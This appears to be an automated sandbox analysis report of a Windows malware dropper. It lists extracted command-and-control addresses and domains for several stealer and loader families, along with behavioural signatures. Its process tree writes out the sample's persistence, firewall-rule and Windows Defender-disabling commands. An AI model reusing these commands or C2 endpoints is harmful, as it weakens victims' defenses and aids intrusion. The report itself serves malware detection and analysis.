Overview

overview

10

Static

static

3

df4e254e50...69.exe

windows7-x64

10

df4e254e50...69.exe

windows10-2004-x64

10

Resubmissions

04/05/2024, 14:07

240504-re2nrsga3y10

04/05/2024, 13:50

240504-q5clwsae9310

Analysis

  • max time kernel
    62s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240419-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04/05/2024, 14:07

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    df4e254e505d90d3163acc12587747b34c8dd1d95b4bcb919bdd1901745c8a69.exe
  • Size 1.8MB
  • Sample240504-re2nrsga3y
  • SHA256 df4e254e505d90d3163acc12587747b34c8dd1d95b4bcb919bdd1901745c8a69
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
amadeygluptebalummaprivateloaderredlinestealczgrat@cloudytteamtest1234discoverydropperevasionexecutioninfostealerloaderratspywarestealerthemidatrojanvmprotect

Malware Config

Extracted

Family

  • amadey

Version

  • 4.18

C2

  • http://193.233.132.56

Attributes
  • install_dir

    09fd851a4f

  • install_file

    explorha.exe

  • strings_key

    443351145ece4966ded809641c77cfa8

  • url_paths

    /Pneh2sXQk0/index.php

rc4.plain

Extracted

Family

  • redline

Botnet

  • Test1234

C2

  • 185.215.113.67:26260

Extracted

Family

  • stealc

C2

  • http://52.143.157.84

  • http://185.172.128.150

Attributes
  • url_path

    /c73eed764cc59dcb.php

Extracted

Family

  • redline

Botnet

  • @CLOUDYTTEAM

C2

  • 185.172.128.33:8970

Extracted

Family

  • lumma

C2

  • https://affordcharmcropwo.shop/api

  • https://cleartotalfisherwo.shop/api

  • https://worryfillvolcawoi.shop/api

  • https://enthusiasimtitleow.shop/api

  • https://dismissalcylinderhostw.shop/api

  • https://diskretainvigorousiw.shop/api

  • https://communicationgenerwo.shop/api

  • https://pillowbrocccolipe.shop/api

  • https://zippyfinickysofwps.shop/api

  • https://acceptabledcooeprs.shop/api

  • https://obsceneclassyjuwks.shop/api

  • https://miniaturefinerninewjs.shop/api

  • https://plaintediousidowsko.shop/api

  • https://incredibleextedwj.shop/api

  • https://sweetsquarediaslw.shop/api

  • https://productivelookewr.shop/api

  • https://holicisticscrarws.shop/api

  • https://boredimperissvieos.shop/api

  • https://tolerateilusidjukl.shop/api

  • https://shatterbreathepsw.shop/api

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Detect ZGRat V1 7 IoCs
  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

    loaderdropperglupteba
  • Glupteba payload 12 IoCs
  • Lumma Stealer

    An infostealer written in C++ first seen in August 2022.

    stealerlumma
  • Modifies firewall policy service 2 TTPs 1 IoCs
    evasion
  • PrivateLoader

    PrivateLoader is a downloader sold as a pay-per-install malware distribution service.

    loaderprivateloader
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine payload 6 IoCs
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • ZGRat

    ZGRat is remote access trojan written in C#.

    ratzgrat
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 4 IoCs
    evasion
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 31 IoCs

    Using powershell.exe command.

    execution
  • Downloads MZ/PE file
  • Modifies Windows Firewall 2 TTPs 4 IoCs
    evasion
  • Stops running service(s) 4 TTPs
    evasionexecution
  • Checks BIOS information in registry 2 TTPs 10 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 12 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 34 IoCs
  • Identifies Wine through registry keys 2 TTPs 3 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    evasion
  • Loads dropped DLL 8 IoCs
  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

    spywarestealer
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

    spywarestealer
  • Reads local data of messenger clients 2 TTPs

    Infostealers often target stored data of messaging applications, which can include saved credentials and account information.

    spywarestealer
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Themida packer 6 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • VMProtect packed file 2 IoCs

    Detects executables packed with VMProtect commercial packer.

    vmprotect
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
    evasiontrojan
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 6 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 9 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs
  • Suspicious use of SetThreadContext 6 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 4 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Program Files directory 14 IoCs
  • Drops file in Windows directory 3 IoCs
  • Launches sc.exe 6 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 4 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 23 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
    evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 7 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\df4e254e505d90d3163acc12587747b34c8dd1d95b4bcb919bdd1901745c8a69.exe
    "C:\Users\Admin\AppData\Local\Temp\df4e254e505d90d3163acc12587747b34c8dd1d95b4bcb919bdd1901745c8a69.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Checks computer location settings
    • Identifies Wine through registry keys
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2852
    • C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe
      "C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe"
      2⤵
      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
      • Checks BIOS information in registry
      • Checks computer location settings
      • Executes dropped EXE
      • Identifies Wine through registry keys
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4032
      • C:\Users\Admin\AppData\Local\Temp\1000066001\swiiiii.exe
        "C:\Users\Admin\AppData\Local\Temp\1000066001\swiiiii.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:860
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
          4⤵
            PID:3964
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
            4⤵
              PID:3432
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 860 -s 876
              4⤵
              • Program crash
              PID:4632
          • C:\Users\Admin\AppData\Local\Temp\1000069001\NewB.exe
            "C:\Users\Admin\AppData\Local\Temp\1000069001\NewB.exe"
            3⤵
            • Checks computer location settings
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:1764
            • C:\Windows\SysWOW64\schtasks.exe
              "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN NewB.exe /TR "C:\Users\Admin\AppData\Local\Temp\1000069001\NewB.exe" /F
              4⤵
              • Creates scheduled task(s)
              PID:2252
          • C:\Users\Admin\AppData\Local\Temp\1000071001\jok.exe
            "C:\Users\Admin\AppData\Local\Temp\1000071001\jok.exe"
            3⤵
            • Executes dropped EXE
            • Modifies system certificate store
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3464
          • C:\Users\Admin\AppData\Local\Temp\1000073001\swiiii.exe
            "C:\Users\Admin\AppData\Local\Temp\1000073001\swiiii.exe"
            3⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Suspicious use of WriteProcessMemory
            PID:3060
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
              4⤵
                PID:224
            • C:\Users\Admin\AppData\Local\Temp\1000075001\file300un.exe
              "C:\Users\Admin\AppData\Local\Temp\1000075001\file300un.exe"
              3⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of WriteProcessMemory
              PID:4344
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"
                4⤵
                  PID:1456
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"
                  4⤵
                  • Checks computer location settings
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:2496
                  • C:\Users\Admin\Pictures\ZEg1uS8vn7QD2IVsRMo1jWM1.exe
                    "C:\Users\Admin\Pictures\ZEg1uS8vn7QD2IVsRMo1jWM1.exe"
                    5⤵
                    • Executes dropped EXE
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1808
                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                      powershell -nologo -noprofile
                      6⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1652
                    • C:\Users\Admin\Pictures\ZEg1uS8vn7QD2IVsRMo1jWM1.exe
                      "C:\Users\Admin\Pictures\ZEg1uS8vn7QD2IVsRMo1jWM1.exe"
                      6⤵
                      • Executes dropped EXE
                      • Checks for VirtualBox DLLs, possible anti-VM trick
                      • Modifies data under HKEY_USERS
                      PID:5332
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                        powershell -nologo -noprofile
                        7⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Drops file in System32 directory
                        • Modifies data under HKEY_USERS
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1936
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
                        7⤵
                          PID:888
                          • C:\Windows\system32\netsh.exe
                            netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
                            8⤵
                            • Modifies Windows Firewall
                            PID:6912
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          powershell -nologo -noprofile
                          7⤵
                          • Command and Scripting Interpreter: PowerShell
                          PID:6392
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          powershell -nologo -noprofile
                          7⤵
                          • Command and Scripting Interpreter: PowerShell
                          PID:4108
                        • C:\Windows\rss\csrss.exe
                          C:\Windows\rss\csrss.exe
                          7⤵
                            PID:6652
                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                              powershell -nologo -noprofile
                              8⤵
                              • Command and Scripting Interpreter: PowerShell
                              PID:4340
                            • C:\Windows\SYSTEM32\schtasks.exe
                              schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                              8⤵
                              • Creates scheduled task(s)
                              PID:5384
                            • C:\Windows\SYSTEM32\schtasks.exe
                              schtasks /delete /tn ScheduledUpdate /f
                              8⤵
                                PID:4992
                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                powershell -nologo -noprofile
                                8⤵
                                • Command and Scripting Interpreter: PowerShell
                                PID:1068
                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                powershell -nologo -noprofile
                                8⤵
                                • Command and Scripting Interpreter: PowerShell
                                PID:5192
                              • C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
                                C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
                                8⤵
                                  PID:6288
                                • C:\Windows\SYSTEM32\schtasks.exe
                                  schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                                  8⤵
                                  • Creates scheduled task(s)
                                  PID:636
                                • C:\Windows\windefender.exe
                                  "C:\Windows\windefender.exe"
                                  8⤵
                                    PID:6964
                                    • C:\Windows\SysWOW64\cmd.exe
                                      cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
                                      9⤵
                                        PID:6520
                                        • C:\Windows\SysWOW64\sc.exe
                                          sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
                                          10⤵
                                          • Launches sc.exe
                                          PID:6376
                              • C:\Users\Admin\Pictures\TzWEsjzZHXRT2qZRVwsfHlsJ.exe
                                "C:\Users\Admin\Pictures\TzWEsjzZHXRT2qZRVwsfHlsJ.exe"
                                5⤵
                                • Executes dropped EXE
                                • Suspicious behavior: EnumeratesProcesses
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1936
                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                  powershell -nologo -noprofile
                                  6⤵
                                  • Command and Scripting Interpreter: PowerShell
                                  • Suspicious behavior: EnumeratesProcesses
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:5000
                                • C:\Users\Admin\Pictures\TzWEsjzZHXRT2qZRVwsfHlsJ.exe
                                  "C:\Users\Admin\Pictures\TzWEsjzZHXRT2qZRVwsfHlsJ.exe"
                                  6⤵
                                  • Executes dropped EXE
                                  • Checks for VirtualBox DLLs, possible anti-VM trick
                                  PID:5172
                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                    powershell -nologo -noprofile
                                    7⤵
                                    • Command and Scripting Interpreter: PowerShell
                                    • Drops file in System32 directory
                                    • Modifies data under HKEY_USERS
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:6060
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
                                    7⤵
                                      PID:6276
                                      • C:\Windows\system32\netsh.exe
                                        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
                                        8⤵
                                        • Modifies Windows Firewall
                                        PID:5884
                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                      powershell -nologo -noprofile
                                      7⤵
                                      • Command and Scripting Interpreter: PowerShell
                                      PID:5264
                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                      powershell -nologo -noprofile
                                      7⤵
                                      • Command and Scripting Interpreter: PowerShell
                                      PID:6056
                                • C:\Users\Admin\Pictures\bZqLb8FuXLk6j9hSMqddSMxk.exe
                                  "C:\Users\Admin\Pictures\bZqLb8FuXLk6j9hSMqddSMxk.exe"
                                  5⤵
                                  • Executes dropped EXE
                                  • Suspicious behavior: EnumeratesProcesses
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:3232
                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                    powershell -nologo -noprofile
                                    6⤵
                                    • Command and Scripting Interpreter: PowerShell
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:4280
                                  • C:\Users\Admin\Pictures\bZqLb8FuXLk6j9hSMqddSMxk.exe
                                    "C:\Users\Admin\Pictures\bZqLb8FuXLk6j9hSMqddSMxk.exe"
                                    6⤵
                                    • Executes dropped EXE
                                    • Checks for VirtualBox DLLs, possible anti-VM trick
                                    • Modifies data under HKEY_USERS
                                    PID:5424
                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                      powershell -nologo -noprofile
                                      7⤵
                                      • Command and Scripting Interpreter: PowerShell
                                      • Drops file in System32 directory
                                      • Modifies data under HKEY_USERS
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:3388
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
                                      7⤵
                                        PID:6128
                                        • C:\Windows\system32\netsh.exe
                                          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
                                          8⤵
                                          • Modifies Windows Firewall
                                          PID:4348
                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                        powershell -nologo -noprofile
                                        7⤵
                                        • Command and Scripting Interpreter: PowerShell
                                        PID:6544
                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                        powershell -nologo -noprofile
                                        7⤵
                                        • Command and Scripting Interpreter: PowerShell
                                        PID:4516
                                  • C:\Users\Admin\Pictures\aVU6bd6xD7Lia80sIyAQMJAY.exe
                                    "C:\Users\Admin\Pictures\aVU6bd6xD7Lia80sIyAQMJAY.exe"
                                    5⤵
                                    • Checks computer location settings
                                    • Executes dropped EXE
                                    PID:1308
                                    • C:\Users\Admin\AppData\Local\Temp\u10c.0.exe
                                      "C:\Users\Admin\AppData\Local\Temp\u10c.0.exe"
                                      6⤵
                                      • Executes dropped EXE
                                      • Loads dropped DLL
                                      • Checks processor information in registry
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:1920
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 1920 -s 2296
                                        7⤵
                                        • Program crash
                                        PID:336
                                    • C:\Users\Admin\AppData\Local\Temp\u10c.2\run.exe
                                      "C:\Users\Admin\AppData\Local\Temp\u10c.2\run.exe"
                                      6⤵
                                      • Executes dropped EXE
                                      • Loads dropped DLL
                                      • Suspicious use of SetThreadContext
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious behavior: MapViewOfSection
                                      PID:6044
                                      • C:\Windows\SysWOW64\cmd.exe
                                        C:\Windows\SysWOW64\cmd.exe
                                        7⤵
                                        • Suspicious behavior: EnumeratesProcesses
                                        PID:5912
                                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                          C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                          8⤵
                                            PID:1612
                                      • C:\Users\Admin\AppData\Local\Temp\u10c.3.exe
                                        "C:\Users\Admin\AppData\Local\Temp\u10c.3.exe"
                                        6⤵
                                        • Checks computer location settings
                                        • Executes dropped EXE
                                        • Checks SCSI registry key(s)
                                        • Suspicious use of FindShellTrayWindow
                                        • Suspicious use of SendNotifyMessage
                                        PID:5348
                                        • C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
                                          "C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1
                                          7⤵
                                            PID:6612
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -u -p 1308 -s 1740
                                          6⤵
                                          • Program crash
                                          PID:5600
                                      • C:\Users\Admin\Pictures\A1HsF0110Frlw0UEi4q0k6Xb.exe
                                        "C:\Users\Admin\Pictures\A1HsF0110Frlw0UEi4q0k6Xb.exe"
                                        5⤵
                                        • Executes dropped EXE
                                        • Suspicious behavior: EnumeratesProcesses
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:1712
                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                          powershell -nologo -noprofile
                                          6⤵
                                          • Command and Scripting Interpreter: PowerShell
                                          • Suspicious behavior: EnumeratesProcesses
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:232
                                        • C:\Users\Admin\Pictures\A1HsF0110Frlw0UEi4q0k6Xb.exe
                                          "C:\Users\Admin\Pictures\A1HsF0110Frlw0UEi4q0k6Xb.exe"
                                          6⤵
                                          • Executes dropped EXE
                                          • Checks for VirtualBox DLLs, possible anti-VM trick
                                          PID:1160
                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                            powershell -nologo -noprofile
                                            7⤵
                                            • Command and Scripting Interpreter: PowerShell
                                            • Drops file in System32 directory
                                            • Modifies data under HKEY_USERS
                                            • Suspicious behavior: EnumeratesProcesses
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:4744
                                          • C:\Windows\system32\cmd.exe
                                            C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
                                            7⤵
                                              PID:6560
                                              • C:\Windows\system32\netsh.exe
                                                netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
                                                8⤵
                                                • Modifies Windows Firewall
                                                PID:2860
                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                              powershell -nologo -noprofile
                                              7⤵
                                              • Command and Scripting Interpreter: PowerShell
                                              PID:1792
                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                              powershell -nologo -noprofile
                                              7⤵
                                              • Command and Scripting Interpreter: PowerShell
                                              PID:6928
                                        • C:\Users\Admin\Pictures\tLvV5rbdoB7aj6jWYBj2thyy.exe
                                          "C:\Users\Admin\Pictures\tLvV5rbdoB7aj6jWYBj2thyy.exe"
                                          5⤵
                                          • Modifies firewall policy service
                                          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                          • Checks BIOS information in registry
                                          • Checks computer location settings
                                          • Executes dropped EXE
                                          • Checks whether UAC is enabled
                                          • Drops file in System32 directory
                                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                                          PID:5196
                                          • C:\Users\Admin\Documents\SimpleAdobe\xTM8y37p54Vzh98wWxIpZf6M.exe
                                            C:\Users\Admin\Documents\SimpleAdobe\xTM8y37p54Vzh98wWxIpZf6M.exe
                                            6⤵
                                              PID:5664
                                              • C:\Windows\SysWOW64\schtasks.exe
                                                schtasks /create /f /RU "Admin" /tr "C:\ProgramData\MSIUpdaterV202_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV202.exe" /tn "MSIUpdaterV202_93c4750d07be7885c8f839a66372e48f HR" /sc HOURLY /rl HIGHEST
                                                7⤵
                                                • Creates scheduled task(s)
                                                PID:5508
                                              • C:\Windows\SysWOW64\schtasks.exe
                                                schtasks /create /f /RU "Admin" /tr "C:\ProgramData\MSIUpdaterV202_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV202.exe" /tn "MSIUpdaterV202_93c4750d07be7885c8f839a66372e48f LG" /sc ONLOGON /rl HIGHEST
                                                7⤵
                                                • Creates scheduled task(s)
                                                PID:1744
                                              • C:\Users\Admin\AppData\Local\Temp\spanbtqj0NpDecwq\8liNXXV9m6QaaE37Tmwo.exe
                                                "C:\Users\Admin\AppData\Local\Temp\spanbtqj0NpDecwq\8liNXXV9m6QaaE37Tmwo.exe"
                                                7⤵
                                                  PID:5596
                                                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                                    8⤵
                                                      PID:4540
                                              • C:\Users\Admin\Pictures\2woKhKeQpGlPFook87kVrvfy.exe
                                                "C:\Users\Admin\Pictures\2woKhKeQpGlPFook87kVrvfy.exe"
                                                5⤵
                                                • Executes dropped EXE
                                                PID:6108
                                                • C:\Users\Admin\AppData\Local\Temp\7zSAC3E.tmp\Install.exe
                                                  .\Install.exe /WkfdidVYT "385118" /S
                                                  6⤵
                                                  • Checks BIOS information in registry
                                                  • Checks computer location settings
                                                  • Executes dropped EXE
                                                  • Enumerates system info in registry
                                                  PID:4380
                                                  • C:\Windows\SysWOW64\cmd.exe
                                                    "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                    7⤵
                                                      PID:1680
                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                        8⤵
                                                          PID:1700
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                            9⤵
                                                              PID:5468
                                                              • \??\c:\windows\SysWOW64\reg.exe
                                                                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                10⤵
                                                                  PID:5240
                                                            • C:\Windows\SysWOW64\forfiles.exe
                                                              forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                              8⤵
                                                                PID:1432
                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                  /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                  9⤵
                                                                    PID:5240
                                                                    • \??\c:\windows\SysWOW64\reg.exe
                                                                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                      10⤵
                                                                        PID:6708
                                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                                    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                                    8⤵
                                                                      PID:6248
                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                        9⤵
                                                                          PID:6552
                                                                          • \??\c:\windows\SysWOW64\reg.exe
                                                                            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
